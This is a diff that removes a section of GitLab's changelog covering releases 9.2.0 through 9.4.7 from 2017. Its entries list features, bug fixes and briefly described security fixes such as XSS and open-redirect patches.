-- Update build badges to be pipeline badges and display passing instead of success.
-
-## 9.4.7 (2017-10-16)
-
-- [SECURITY] Upgrade mail and nokogiri gems due to security issues. !13662 (Markus Koller)
-- [SECURITY] Move project repositories between namespaces when renaming users.
-- [SECURITY] Prevent an open redirect on project pages.
-- [SECURITY] Prevent a persistent XSS in user-provided markup.
-- [FIXED] Allow using newlines in pipeline email service recipients. !14250
-- Escape user name in filtered search bar.
-
-## 9.4.6 (2017-09-06)
-
-- [SECURITY] Upgrade mail and nokogiri gems due to security issues. !13662 (Markus Koller)
-- [SECURITY] Prevent a persistent XSS in the commit author block.
-- Fix XSS issue in go-get handling.
-- Remove hidden symlinks from project import files.
-- Fixes race condition in project uploads.
-- Disallow Git URLs that include a username or hostname beginning with a non-alphanumeric character.
-- Disallow arbitrary properties in `th` and `td` `style` attributes.
-- Resolve CSRF token leakage via pathname manipulation on environments page.
-- Disallow the `name` attribute on all user-provided markup.
-
-## 9.4.5 (2017-08-14)
-
-- Fix deletion of deploy keys linked to other projects. !13162
-- Allow any logged in users to read_users_list even if it's restricted. !13201
-- Make Delete Merged Branches handle wildcard protected branches correctly. !13251
-- Fix an order of operations for CI connection error message in merge request widget. !13252
-- Fix pipeline_schedules pages when active schedule has an abnormal state. !13286
-- Add missing validation error for username change with container registry tags. !13356
-- Fix destroy of case-insensitive conflicting redirects. !13357
-- Project pending delete no longer return 500 error in admins projects view. !13389
-- Fix search box losing focus when typing.
-- Use jQuery to control scroll behavior in job log for cross browser consistency.
-- Use project_ref_path to create the link to a branch to fix links that 404.
-- improve file upload/replace experience.
-- fix jump to next discussion button.
-- Fixes new issue button for failed job returning 404.
-- Fix links to group milestones from issue and merge request sidebar.
-- Fixed sign-in restrictions buttons not toggling active state.
-- Fix Mattermost integration.
-- Change project FK migration to skip existing FKs.
-
-## 9.4.4 (2017-08-09)
-
-- Remove hidden symlinks from project import files.
-- Disallow Git URLs that include a username or hostname beginning with a non-alphanumeric character.
-
-## 9.4.3 (2017-07-31)
-
-- Fix Prometheus client PID reuse bug. !13130
-- Improve deploy environment chatops slash command. !13150
-- Fix asynchronous javascript paths when GitLab is installed under a relative URL. !13165
-- Fix LDAP authentication to Git repository or container registry.
-- Fixed new navigation breadcrumb title on help pages.
-- Ensure filesystem metrics test files are deleted.
-- Properly affixes nav bar in job view in microsoft edge.
-
-## 9.4.2 (2017-07-28)
-
-- Fix job merge request link to a forked source project. !12965
-- Improve redirect route query performance. !13062
-- Allow admin to read_users_list even if it's restricted. !13066
-- Fixes 500 error caused by pending delete projects in admin dashboard. !13067
-- Add instrumentation to MarkupHelper#link_to_gfm. !13069
-- Pending delete projects should not show in deploy keys. !13088
-- Fix sizing of custom header logo in new navigation.
-- Fix crash on /help/ui.
-- Fix creating merge request diffs when diff contains bytes that are invalid in UTF-8.
-- fix vertical alignment of New Project button.
-- Add LDAP SSL certificate verification option.
-- Fix vertical alignment in firefox and safari for pipeline mini graph.
-
-## 9.4.1 (2017-07-25)
-
-- Fix pipeline_schedules pages throwing error 500 (when ref is empty). !12983
-- Fix editing project with container images present. !13028
-- Fix some invalid entries in PO files. !13032
-- Fix cross site request protection when logging in as a regular user when LDAP is enabled. !13049
-- Fix bug causing metrics files to be truncated. !35420
-- Fix anonymous access to public projects in groups with pending invites.
-- Fixed issue boards sidebar close icon size.
-- Fixed duplicate new milestone buttons when new navigation is turned on.
-- Fix margins in the mini graph for pipeline in commits box.
-
-## 9.4.0 (2017-07-22)
-
-- Add blame view age mapping. !7198 (Jeff Stubler)
-- Add support for image and services configuration in .gitlab-ci.yml. !8578
-- Fix an email parsing bug where brackets would be inserted in emails from some Outlook clients. !9045 (jneen)
-- Use fa-chevron-down on dropdown arrows for consistency. !9659 (TM Lee)
-- Update the devise mail templates to match the design of the pipeline emails. !10483 (Alexis Reigel)
-- Handle renamed submodules in repository browser. !10798 (David Turner)
-- Display all current broadcast messages, not just the last one. !11113 (rickettm)
-- Fix CI/CD status in case there are only allowed to failed jobs in the pipeline. !11166
-- Omit trailing / leading hyphens in CI_COMMIT_REF_SLUG variable to make it usable as a hostname. !11218 (Stefan Hanreich)
-- Moved "Members in a project" menu entry and path locations. !11560
-- Additional Prometheus metrics support. !11712
-- Rename all reserved paths that could have been created. !11713
-- Move uploads from `uploads/system` to `uploads/-/system` to free up `system` as a group name. !11713
-- Fix offline runner detection. !11751 (Alessio Caiazza)
-- Use authorize_update_pipeline_schedule in PipelineSchedulesController. !11846
-- Rollback project repo move if there is an error in Projects::TransferService. !11877
-- Help landing page customizations. !11878 (Robin Bobbitt)
-- Fixes "sign in / Register" active state underline misalignment. !11890 (Frank Sierra)
-- Honor the "Remember me" parameter for OAuth-based login. !11963
-- Instruct user to use personal access token for Git over HTTP. !11986 (Robin Bobbitt)
-- Accept image for avatar in project API. !11988 (Ivan Chernov)
-- Supplement Simplified Chinese translation of Project Page & Repository Page. !11994 (Huang Tao)
-- Supplement Traditional Chinese in Hong Kong translation of Project Page & Repository Page. !11995 (Huang Tao)
-- Make the revision on the `/help` page clickable. !12016
-- Display issue state in issue links section of merge request widget. !12021
-- Enable support for webpack code-splitting by dynamically setting publicPath at runtime. !12032
-- Replace PhantomJS with headless Chrome for karma test suite. !12036
-- Prevent description change notes when toggling tasks. !12057 (Jared Deckard <jared.deckard@gmail.com>)
-- Update QA Dockerfile to lock Chrome browser version. !12071
-- Fix FIDO U2F for Opera browser. !12082 (Jakub Kramarz and Jonas Kalderstam)
-- Supplement Bulgarian translation of Project Page & Repository Page. !12083 (Lyubomir Vasilev)
-- Removes deleted_at and pending_delete occurrences in Project related queries. !12091
-- Provide hint to create a personal access token for Git over HTTP. !12105 (Robin Bobbitt)
-- Display own user id in account settings page. !12141 (Riccardo Padovani)
-- Accept image for avatar in user API. !12143 (Ivan Chernov)
-- Disable fork button on project limit. !12145 (Ivan Chernov)
-- Added "created_after" and "created_before" params to issuables. !12151 (Kyle Bishop @kybishop)
-- Supplement Portuguese Brazil translation of Project Page & Repository Page. !12156 (Huang Tao)
-- Add review apps to usage metrics. !12185
-- Adding French translations. !12200 (Erwan "Dremor" Georget)
-- Ensures default user limits when external user is unchecked. !12218
-- Provide KUBECONFIG from KubernetesService for runners. !12223
-- Filter archived project in API v3 only if param present. !12245 (Ivan Chernov)
-- Add explicit message when no runners on admin. !12266 (Takuya Noguchi)
-- Split pipelines as internal and external in the usage data. !12277
-- Fix API Scoping. !12300
-- Remove registry image delete button if user cant delete it. !12317 (Ivan Chernov)
-- Allow the feature flags to be enabled/disabled with more granularity. !12357
-- Allow to enable the performance bar per user or Feature group. !12362
-- Rename duplicated variables with the same key for projects. Add environment_scope column to variables and add unique constraint to make sure that no variables could be created with the same key within a project. !12363
-- Add variables to pipelines schedules. !12372
-- Add User#full_private_access? to check if user has access to all private groups & projects. !12373
-- Change milestone endpoint for groups. !12374 (Takuya Noguchi)
-- Improve performance of the pipeline charts page. !12378
-- Add option to run Gitaly on a remote server. !12381
-- #20628 Enable implicit grant in GitLab as OAuth Provider. !12384 (Mateusz Pytel)
-- Replace 'snippets/snippets.feature' spinach with rspec. !12385 (Alexander Randa @randaalex)
-- Add Simplified Chinese translations of Commits Page. !12405 (Huang Tao)
-- Add Traditional Chinese in HongKong translations of Commits Page. !12406 (Huang Tao)
-- Add Traditional Chinese in Taiwan translations of Commits Page. !12407 (Huang Tao)
-- Add Portuguese Brazil translations of Commits Page. !12408 (Huang Tao)
-- Add French translations of Commits Page. !12409 (Huang Tao)
-- Add Esperanto translations of Commits Page. !12410 (Huang Tao)
-- Add Bulgarian translations of Commits Page. !12411 (Huang Tao)
-- Remove bin/ci/upgrade.rb as not working all. !12414 (Takuya Noguchi)
-- Store merge request ref_fetched status in the database. !12424
-- Replace 'dashboard/merge_requests' spinach with rspec. !12440 (Alexander Randa (@randaalex))
-- Add Esperanto translations for Cycle Analytics, Project, and Repository pages. !12442 (Huang Tao)
-- Allow unauthenticated access to the /api/v4/users API. !12445
-- Drop GFM support for the title of Milestone/MergeRequest in template. !12451 (Takuya Noguchi)
-- Replace 'dashboard/todos' spinach with rspec. !12453 (Alexander Randa (@randaalex))
-- Cache open issue and merge request counts for project tabs to speed up project pages. !12457
-- Introduce cache policies for CI jobs. !12483
-- Improve support for external issue references. !12485
-- Fix errors caused by attempts to report already blocked or deleted users. !12502 (Horacio Bertorello)
-- Allow customize CI config path. !12509 (Keith Pope)
-- Supplement Traditional Chinese in Taiwan translation of Project Page & Repository Page. !12514 (Huang Tao)
-- Closes any open Autocomplete of the markdown editor when the form is closed. !12521
-- Inserts exact matches of name, username and email to the top of the search list. !12525
-- Use smaller min-width for dropdown-menu-nav only on mobile. !12528 (Takuya Noguchi)
-- Hide archived project labels from group issue tracker. !12547 (Horacio Bertorello)
-- Replace 'dashboard/new-project.feature' spinach with rspec. !12550 (Alexander Randa (@randaalex))
-- Remove group modal like remove project modal (requires typing + confirmation). !12569 (Diego Souza)
-- Add Italian translation of Cycle Analytics Page & Project Page & Repository Page. !12578 (Huang Tao)
-- Add Group secret variables. !12582
-- Update jobs page output to have a scrollable page. !12587
-- Add user projects API. !12596 (Ivan Chernov)
-- Allow creation of files and directories with spaces through Web UI. !12608
-- Improve members view on mobile. !12619
-- Fixed the chart legend not being set correctly. !12628
-- Add Italian translations of Commits Page. !12645 (Huang Tao)
-- Allow admins to disable all restricted visibility levels. !12649
-- Allow admins to retrieve user agent details for an issue or snippet. !12655
-- Update welcome page UX for new users. !12662
-- N+1 problems on milestone page. !12670 (Takuya Noguchi)
-- Upgrade GitLab Workhorse to v2.3.0. !12676
-- Remove option to disable Gitaly. !12677
-- Improve the performance of the project list API. !12679
-- Add creation time filters to user search API for admins. !12682
-- Add Japanese translations for Cycle Analytics & Project pages & Repository pages & Commits pages & Pipeline Charts. !12693 (Huang Tao)
-- Undo adding the /reassign quick action. !12701
-- Fix dashboard labels dropdown. !12708
-- Username and password are no longer stripped from import url on mirror update. !12725
-- Add Russian translations for Cycle Analytics & Project pages & Repository pages & Commits pages & Pipeline Charts. !12743 (Huang Tao)
-- Add Ukrainian translations for Cycle Analytics & Project pages & Repository pages & Commits pages & Pipeline Charts. !12744 (Huang Tao)
-- Prevent bad data being added to application settings when Redis is unavailable. !12750
-- Do not show pipeline schedule button for non-member. !12757 (Takuya Noguchi)
-- Return `is_admin` attribute in the GET /user endpoint for admins. !12811
-- Recover from renaming project that has container images. !12840
-- Exact matches of username and email are now on top of the user search. !12868
-- Use Ghost user for last_edited_by and merge_user when original user is deleted. !12933
-- Fix docker tag reference routing constraints. !12961
-- Optimize creation of commit API by using Repository#commit instead of Repository#commits.
-- Speed up used languages calculation on charts page.
-- Make loading new merge requests (those created after the 9.4 upgrade) faster.
-- Ensure participants for issues, merge requests, etc. are calculated correctly when sending notifications.
-- Handle nameless legacy jobs.
-- Bump Faraday and dependent OAuth2 gem version to support no_proxy variable.
-- Renders 404 if given project is not readable by the user on Todos dashboard.
-- Render CI statuses with warnings in orange.
-- Document the Delete Merged Branches functionality.
-- Add wells to admin dashboard overview to fix spacing problems.
-- Removes hover style for nodes that are either links or buttons in the pipeline graph.
-- more visual contrast in pagination widget.
-- Deprecate Healthcheck Access Token in favor of IP whitelist.
-- Drop GFM support for issuable title on milestone for consistency and performance. (Takuya Noguchi)
-- fix left & right padding on sidebar.
-- Cleanup minor UX issues in the performance dashboard.
-- Remove two columned layout from project member settings.
-- Make font size of contextual sub menu items 14px.
-- Fix vertical space in job details sidebar.
-- Fix alignment of controls in mr issuable list.
-- Add wip message to new navigation preference section.
-- Add group members counting and plan related data on namespaces API.
-- Fix spacing on runner buttons.
-- Remove uploads/appearance symlink. A leftover from a previous migration.
-- Change order of monospace fonts to fix bug on some linux distros.
-- Limit commit & snippets comments width.
-- Fixed dashboard milestone tabs not loading.
-- Detect if file that appears to be text in the first 1024 bytes is actually binary afer loading all data.
-- Fix inconsistent display of the "Browse files" button in the commit list.
-- Implement diff viewers.
-- Fix 'New merge request' button for users who don't have push access to canonical project.
-- Fix issues with non-UTF8 filenames by always fixing the encoding of tree and blob paths.
-- Show group name instead of path on group page.
-- Don't check if MailRoom is running on Omnibus.
-- Limit OpenGraph image size to 64x64.
-- Don't show auxiliary blob viewer for README when there is no wiki.
-- Strip trailing whitespace in relative submodule URL.
-- Update /target_branch slash command description to be more consistent.
-- Remove unnecessary top padding on group MR index.
-- Added printing_merge_requst_link_enabled to the API. (David Turner <dturner@twosigma.com>)
-- Re-enable realtime for environments table.
-- Create responsive mobile view for pipelines table.
-- Adds realtime feature to job show view header and sidebar info. Updates UX.
-- Use color inputs for broadcast messages.
-- Center dropdown for mini graph.
-- Users can subscribe to group labels on the group labels page.
-- Add issuable-list class to shared mr/issue lists to fix new responsive layout design.
-- Rename "Slash commands" to "Quick actions" and deprecate "chat commands" in favor of "slash commands".
-- Don't mark empty MRs as merged on push to the target branch.
-- Improve issue rendering performance with lots of notes from other users.
-- Fixed overflow on mobile screens for the slash commands.
-- Fix an infinite loop when handling user-supplied regular expressions.
-- Fixed sidebar not collapsing on merge requests in mobile screens.
-- Speed up project removals by adding foreign keys with cascading deletes to various tables.
-- Fix mobile view of files view buttons.
-- Fixed dropdown filter input not focusing after transition.
-- Fixed GFM references not being included when updating issues inline.
-- Remove issues/merge requests drag n drop and sorting from milestone view.
-- Add native group milestones.
-- Fix API bug accepting wrong parameter to create merge request.
-- Clean up UI of issuable lists and make more responsive.
-- Improve the overall UX for the new monitoring dashboard.
-- Fixed the y_label not setting correctly for each graph on the monitoring dashboard.
-- Changed utilities imports from ~ to relative paths.
-- Remove unused space in sidebar todo toggle when not signed in.
-- Limit the width of the projects README text.
-- Add a simple mode to merge request API.
-- Make Project#ensure_repository force create a repo.
-- Use uploads/system directory for personal snippets.
-- Defer project destroys within a namespace in Groups::DestroyService#async_execute.
-- Log rescued exceptions to Sentry.
-- Remove remaining N+1 queries in merge requests API with emojis and labels.
-
-## 9.3.11 (2017-09-06)
-
-- [SECURITY] Upgrade mail and nokogiri gems due to security issues. !13662 (Markus Koller)
-- [SECURITY] Prevent a persistent XSS in the commit author block.
-- Improve support for external issue references. !12485
-- Use uploads/system directory for personal snippets.
-- Remove uploads/appearance symlink. A leftover from a previous migration.
-- Fix XSS issue in go-get handling.
-- Remove hidden symlinks from project import files.
-- Fix an infinite loop when handling user-supplied regular expressions.
-- Fixes race condition in project uploads.
-- Fixes race condition in project uploads.
-- Disallow Git URLs that include a username or hostname beginning with a non-alphanumeric character.
-- Disallow arbitrary properties in `th` and `td` `style` attributes.
-- Resolve CSRF token leakage via pathname manipulation on environments page.
-- Disallow the `name` attribute on all user-provided markup.
-- Renders 404 if given project is not readable by the user on Todos dashboard.
-
-## 9.3.10 (2017-08-09)
-
-- Remove hidden symlinks from project import files.
-- Disallow Git URLs that include a username or hostname beginning with a non-alphanumeric character.
-
-## 9.3.9 (2017-07-20)
-
-- Fix an infinite loop when handling user-supplied regular expressions.
-
-## 9.3.8 (2017-07-19)
-
-- Improve support for external issue references. !12485
-- Renders 404 if given project is not readable by the user on Todos dashboard.
-- Use uploads/system directory for personal snippets.
-- Remove uploads/appearance symlink. A leftover from a previous migration.
-
-## 9.3.7 (2017-07-18)
-
-- Prevent bad data being added to application settings when Redis is unavailable. !12750
-- Return `is_admin` attribute in the GET /user endpoint for admins. !12811
-
-## 9.3.6 (2017-07-12)
-
-- Fix API Scoping. !12300
-- Username and password are no longer stripped from import url on mirror update. !12725
-- Fix issues with non-UTF8 filenames by always fixing the encoding of tree and blob paths.
-- Fixed GFM references not being included when updating issues inline.
-
-## 9.3.5 (2017-07-05)
-
-- Remove "Remove from board" button from backlog and closed list. !12430
-- Do not delete protected branches when deleting all merged branches. !12624
-- Set default for Remove source branch to false.
-- Prevent accidental deletion of protected MR source branch by repeating checks before actual deletion.
-- Expires full_path cache after a repository is renamed/transferred.
-
-## 9.3.4 (2017-07-03)
-
-- Update gitlab-shell to 5.1.1 !12615
-
-## 9.3.3 (2017-06-30)
-
-- Fix head pipeline stored in merge request for external pipelines. !12478
-- Bring back branches badge to main project page. !12548
-- Fix diff of requirements.txt file by not matching newlines as part of package names.
-- Perform housekeeping only when an import of a fresh project is completed.
-- Fixed issue boards closed list not showing all closed issues.
-- Fixed multi-line markdown tooltip buttons in issue edit form.
-
-## 9.3.2 (2017-06-27)
-
-- API: Fix optional arguments for POST :id/variables. !12474
-- Bump premailer-rails gem to 1.9.7 and its dependencies to prevent network retrieval of assets.
-
-## 9.3.1 (2017-06-26)
-
-- Fix reversed breadcrumb order for nested groups. !12322
-- Fix 500 when failing to create private group. !12394
-- Fix linking to line number on side-by-side diff creating empty discussion box.
-- Don't match tilde and exclamation mark as part of requirements.txt package name.
-- Perform project housekeeping after importing projects.
-- Fixed ctrl+enter not submit issue edit form.
-
-## 9.3.0 (2017-06-22)
-
-- Refactored gitlab:app:check into SystemCheck liberary and improve some checks. !9173
-- Add an ability to cancel attaching file and redesign attaching files UI. !9431 (blackst0ne)
-- Add Aliyun OSS as the backup storage provider. !9721 (Yuanfei Zhu)
-- Add support for find_local_branches GRPC from Gitaly. !10059
-- Allow manual bypass of auto_sign_in_with_provider with a new param. !10187 (Maxime Besson)
-- Redirect to user's keys index instead of user's index after a key is deleted in the admin. !10227 (Cyril Jouve)
-- Changed Blame to Annotate in the UI to promote blameless culture. !10378 (Ilya Vassilevsky)
-- Implement ability to update deploy keys. !10383 (Alexander Randa)
-- Allow numeric values in gitlab-ci.yml. !10607 (blackst0ne)
-- Add a feature test for Unicode trace. !10736 (dosuken123)
-- Notes: Warning message should go away once resolved. !10823 (Jacopo Beschi @jacopo-beschi)
-- Project authorizations are calculated much faster when using PostgreSQL, and nested groups support for MySQL has been removed
-. !10885
-- Fix long urls in the title of commit. !10938 (Alexander Randa)
-- Update gem sidekiq-cron from 0.4.4 to 0.6.0 and rufus-scheduler from 3.1.10 to 3.4.0. !10976 (dosuken123)
-- Use relative paths for group/project/user avatars. !11001 (blackst0ne)
-- Enable cancelling non-HEAD pending pipelines by default for all projects. !11023
-- Implement web hook logging. !11027 (Alexander Randa)
-- Add indices for auto_canceled_by_id for ci_pipelines and ci_builds on PostgreSQL. !11034
-- Add post-deploy migration to clean up projects in `pending_delete` state. !11044
-- Limit User's trackable attributes, like `current_sign_in_at`, to update at most once/hour. !11053
-- Disallow multiple selections for Milestone dropdown. !11084
-- Link to commit author user page from pipelines. !11100
-- Fix the last coverage in trace log should be extracted. !11128 (dosuken123)
-- Remove redirect for old issue url containing id instead of iid. !11135 (blackst0ne)
-- Backported new SystemHook event: `repository_update`. !11140
-- Keep input data after creating a tag that already exists. !11155
-- Fix support for external CI services. !11176
-- Translate backend for Project & Repository pages. !11183
-- Fix LaTeX formatting for AsciiDoc wiki. !11212
-- Add foreign key for pipeline schedule owner. !11233
-- Print Go version in rake gitlab:env:info. !11241
-- Include the blob content when printing a blob page. !11247
-- Sync email address from specified omniauth provider. !11268 (Robin Bobbitt)
-- Disable reference prefixes in notes for Snippets. !11278
-- Rename build_events to job_events. !11287
-- Add API support for pipeline schedule. !11307 (dosuken123)
-- Use route.cache_key for project list cache key. !11325
-- Make environment table realtime. !11333
-- Cache npm modules between pipelines with yarn to speed up setup-test-env. !11343
-- Allow GitLab instance to start when InfluxDB hostname cannot be resolved. !11356
-- Add ConvDev Index page to admin area. !11377
-- Fix Git-over-HTTP error statuses and improve error messages. !11398
-- Renamed users 'Audit Log'' to 'Authentication Log'. !11400
-- Style people in issuable search bar. !11402
-- Change /builds in the URL to /-/jobs. Backward URLs were also added. !11407
-- Update password field label while editing service settings. !11431
-- Add an optional performance bar to view performance metrics for the current page. !11439
-- Update task_list to version 2.0.0. !11525 (Jared Deckard <jared.deckard@gmail.com>)
-- Avoid resource intensive login checks if password is not provided. !11537 (Horatiu Eugen Vlad)
-- Allow numeric pages domain. !11550
-- Exclude manual actions when checking if pipeline can be canceled. !11562
-- Add server uptime to System Info page in admin dashboard. !11590 (Justin Boltz)
-- Simplify testing and saving service integrations. !11599
-- Fixed handling of the `can_push` attribute in the v3 deploy_keys api. !11607 (Richard Clamp)
-- Improve user experience around slash commands in instant comments. !11612
-- Show current user immediately in issuable filters. !11630
-- Add extra context-sensitive functionality for the top right menu button. !11632
-- Reorder Issue action buttons in order of usability. !11642
-- Expose atom links with an RSS token instead of using the private token. !11647 (Alexis Reigel)
-- Respect merge, instead of push, permissions for protected actions. !11648
-- Job details page update real time. !11651
-- Improve performance of ProjectFinder used in /projects API endpoint. !11666
-- Remove redundant data-turbolink attributes from links. !11672 (blackst0ne)
-- Minimum postgresql version is now 9.2. !11677
-- Add protected variables which would only be passed to protected branches or protected tags. !11688
-- Introduce optimistic locking support via optional parameter last_commit_sha on File Update API. !11694 (electroma)
-- Add $CI_ENVIRONMENT_URL to predefined variables for pipelines. !11695
-- Simplify project repository settings page. !11698
-- Fix pipeline_schedules pages throwing error 500. !11706 (dosuken123)
-- Add performance deltas between app deployments on Merge Request widget. !11730
-- Add feature toggles and API endpoints for admins. !11747
-- Replace 'starred_projects.feature' spinach test with an rspec analog. !11752 (blackst0ne)
-- Introduce an Events API. !11755
-- Display Shared Runner status in Admin Dashboard. !11783 (Ivan Chernov)
-- Persist pipeline stages in the database. !11790
-- Revert the feature that would include the current user's username in the HTTP clone URL. !11792
-- Enable Gitaly by default in installations from source. !11796
-- Use zopfli compression for frontend assets. !11798
-- Add tag_list param to project api. !11799 (Ivan Chernov)
-- Add changelog for improved Registry description. !11816
-- Automatically adjust project settings to match changes in project visibility. !11831
-- Add slugify project path to CI environment variables. !11838 (Ivan Chernov)
-- Add all pipeline sources as special keywords to 'only' and 'except'. !11844 (Filip Krakowski)
-- Allow pulling of container images using personal access tokens. !11845
-- Expose import_status in Projects API. !11851 (Robin Bobbitt)
-- Allow admins to delete users from the admin users page. !11852
-- Allow users to be hard-deleted from the API. !11853
-- Fix hard-deleting users when they have authored issues. !11855
-- Fix missing optional path parameter in "Create project for user" API. !11868
-- Allow users to be hard-deleted from the admin panel. !11874
-- Add a Rake task to aid in rotating otp_key_base. !11881
-- Fix submodule link to then project under subgroup. !11906
-- Fix binary encoding error on MR diffs. !11929
-- Limit non-administrators to adding 100 members at a time to groups and projects. !11940
-- add bulgarian translation of cycle analytics page to I18N. !11958 (Lyubomir Vasilev)
-- Make backup task to continue on corrupt repositories. !11962
-- Fix incorrect ETag cache key when relative instance URL is used. !11964
-- Reinstate is_admin flag in users api when authenticated user is an admin. !12211 (rickettm)
-- Fix edit button for deploy keys available from other projects. !12301 (Alexander Randa)
-- Fix passing CI_ENVIRONMENT_NAME and CI_ENVIRONMENT_SLUG for CI_ENVIRONMENT_URL. !12344
-- Disable environment list refresh due to bug https://gitlab.com/gitlab-org/gitlab/issues/2677. !12347
-- Standardize timeline note margins across different viewport sizes. !12364
-- Fix Ordered Task List Items. !31483 (Jared Deckard <jared.deckard@gmail.com>)
-- Upgrade dependency to Go 1.8.3. !31943
-- Add prometheus metrics on pipeline creation.
-- Fix etag route not being a match for environments.
-- Sort folder for environments.
-- Support descriptions for snippets.
-- Hide clone panel and file list when user is only a guest. (James Clark)
-- Don’t create comment on JIRA if it already exists for the entity.
-- Update Dashboard Groups UI with better support for subgroups.
-- Confirm Project forking behaviour via the API.
-- Add prometheus based metrics collection to gitlab webapp.
-- Fix: Wiki is not searchable with Guest permissions.
-- Center all empty states.
-- Remove 'New issue' button when issues search returns no results.
-- Add API URL to JIRA settings.
-- animate adding issue to boards.
-- Update session cookie key name to be unique to instance in development.
-- Single click on filter to open filtered search dropdown.
-- Makes header information of pipeline show page realtine.
-- Creates a mediator for pipeline details vue in order to mount several vue apps with the same data.
-- Scope issue/merge request recent searches to project.
-- Increase individual diff collapse limit to 100 KB, and render limit to 200 KB.
-- Fix Pipelines table empty state - only render empty state if we receive 0 pipelines.
-- Make New environment empty state btn lowercase.
-- Removes duplicate environment variable in documentation.
-- Change links in issuable meta to black.
-- Fix border-bottom for project activity tab.
-- Adds new icon for CI skipped status.
-- Create equal padding for emoji.
-- Use briefcase icon for company in profile page.
-- Remove overflow from comment form for confidential issues and vertically aligns confidential issue icon.
-- Keep trailing newline when resolving conflicts by picking sides.
-- Fix /unsubscribe slash command creating extra todos when you were already mentioned in an issue.
-- Fix math rendering on blob pages.
-- Allow group reporters to manage group labels.
-- Use pre-wrap for commit messages to keep lists indented.
-- Count badges depend on translucent color to better adjust to different background colors and permission badges now feature a pill shaped design similar to labels.
-- Allow reporters to promote project labels to group labels.
-- Enabled keyboard shortcuts on artifacts pages.
-- Perform filtered search when state tab is changed.
-- Remove duplication for sharing projects with groups in project settings.
-- Change order of commits ahead and behind on divergence graph for branch list view.
-- Creates CI Header component for Pipelines and Jobs details pages.
-- Invalidate cache for issue and MR counters more granularly.
-- disable blocked manual actions.
-- Load tree readme asynchronously.
-- Display extra info about files on .gitlab-ci.yml, .gitlab/route-map.yml and LICENSE blob pages.
-- Fix replying to a commit discussion displayed in the context of an MR.
-- Consistently use monospace font for commit SHAs and branch and tag names.
-- Consistently display last push event widget.
-- Don't copy empty elements that were not selected on purpose as GFM.
-- Copy as GFM even when parts of other elements are selected.
-- Autolink package names in Gemfile.
-- Resolve N+1 query issue with discussions.
-- Don't match email addresses or foo@bar as user references.
-- Fix title of discussion jump button at top of page.
-- Don't return nil for missing objects from parser cache.
-- Make .gitmodules parsing more resilient to syntax errors.
-- Add username parameter to gravatar URL.
-- Autolink package names in more dependency files.
-- Return nil when looking up config for unknown LDAP provider.
-- Add system note with link to diff comparison when MR discussion becomes outdated.
-- Don't wrap pasted code when it's already inside code tags.
-- Revert 'New file from interface on existing branch'.
-- Show last commit for current tree on tree page.
-- Add documentation about adding foreign keys.
-- add username field to push webhook. (David Turner)
-- Rename CI/CD Pipelines to Pipelines in the project settings.
-- Make environment tables responsive.
-- Expand/collapse backlog & closed lists in issue boards.
-- Fix GitHub importer performance on branch existence check.
-- Fix counter cache for acts as taggable.
-- Github - Fix token interpolation when cloning wiki repository.
-- Fix token interpolation when setting the Github remote.
-- Fix N+1 queries for non-members in comment threads.
-- Fix terminals support for Kubernetes Service.
-- Fix: A diff comment on a change at last line of a file shows as two comments in discussion.
-- Instrument MergeRequestDiff#load_commits.
-- Introduce source to Pipeline entity.
-- Fixed create new label form in issue form not working for sub-group projects.
-- Fixed style on unsubscribe page. (Gustav Ernberg)
-- Enables inline editing for an issues title & description.
-- Ask for an example project for bug reports.
-- Add summary lines for collapsed details in the bug report template.
-- Prevent commits from upstream repositories to be re-processed by forks.
-- Avoid repeated queries for pipeline builds on merge requests.
-- Preloads head pipeline for merge request collection.
-- Handle head pipeline when creating merge requests.
-- Migrate artifacts to a new path.
-- Rescue OpenSSL::SSL::SSLError in JiraService & IssueTrackerService.
-- Repository browser: handle in-repository submodule urls. (David Turner)
-- Prevent project transfers if a new group is not selected.
-- Allow 'no one' as an option for allowed to merge on a procted branch.
-- Reduce time spent waiting for certain Sidekiq jobs to complete.
-- Refactor ProjectsFinder#init_collection to produce more efficient queries for retrieving projects.
-- Remove unused code and uses underscore.
-- Restricts search projects dropdown to group projects when group is selected.
-- Properly handle container registry redirects to fix metadata stored on a S3 backend.
-- Fix LFS timeouts when trying to save large files.
-- Set artifact working directory to be in the destination store to prevent unnecessary I/O.
-- Strip trailing whitespaces in submodule URLs.
-- Make sure reCAPTCHA configuration is loaded when spam checks are initiated.
-- Fix up arrow not editing last discussion comment.
-- Added application readiness endpoints to the monitoring health check admin view.
-- Use wait_for_requests for both ajax and Vue requests.
-- Cleanup ci_variables schema and table.
-- Remove foreigh key on ci_trigger_schedules only if it exists.
-- Allow translation of Pipeline Schedules.
-
-## 9.2.10 (2017-08-09)
-
-- Remove hidden symlinks from project import files.
-- Disallow Git URLs that include a username or hostname beginning with a non-alphanumeric character.
-
-## 9.2.9 (2017-07-20)
-
-- Fix an infinite loop when handling user-supplied regular expressions.
-
-## 9.2.8 (2017-07-19)
-
-- Improve support for external issue references. !12485
-- Renders 404 if given project is not readable by the user on Todos dashboard.
-- Fix incorrect project authorizations.
-- Remove uploads/appearance symlink. A leftover from a previous migration.
-
-## 9.2.7 (2017-06-21)
-
-- Reinstate is_admin flag in users api when authenticated user is an admin. !12211 (rickettm)
-
-## 9.2.6 (2017-06-16)
-
-- Fix the last coverage in trace log should be extracted. !11128 (dosuken123)
-- Respect merge, instead of push, permissions for protected actions. !11648
-- Fix pipeline_schedules pages throwing error 500. !11706 (dosuken123)
-- Make backup task to continue on corrupt repositories. !11962
-- Fix incorrect ETag cache key when relative instance URL is used. !11964
-- Fix math rendering on blob pages.
-- Invalidate cache for issue and MR counters more granularly.
-- Fix terminals support for Kubernetes Service.
-- Fix LFS timeouts when trying to save large files.
-- Strip trailing whitespaces in submodule URLs.
-- Make sure reCAPTCHA configuration is loaded when spam checks are initiated.
-- Remove foreigh key on ci_trigger_schedules only if it exists.
-
-## 9.2.5 (2017-06-07)
-
-- No changes.
-
-## 9.2.4 (2017-06-02)
-
-- Fix visibility when referencing snippets.
-
-## 9.2.3 (2017-05-31)
-
-- Move uploads from 'public/uploads' to 'public/uploads/system'.
-- Escapes html content before appending it to the DOM.
-- Restrict API X-Frame-Options to same origin.
-- Allow users autocomplete by author_id only for authenticated users.
-
-## 9.2.2 (2017-05-25)
-
-- Fix issue where real time pipelines were not cached. !11615
-- Make all notes use equal padding.
-
-## 9.2.1 (2017-05-23)
-
-- Fix placement of note emoji on hover.
-- Fix migration for older PostgreSQL versions.
-
-## 9.2.0 (2017-05-22)
-
-- API: Filter merge requests by milestone and labels. (10924)
-- Reset New branch button when issue state changes. !5962 (winniehell)
-- Frontend prevent authored votes. !6260 (Barthc)
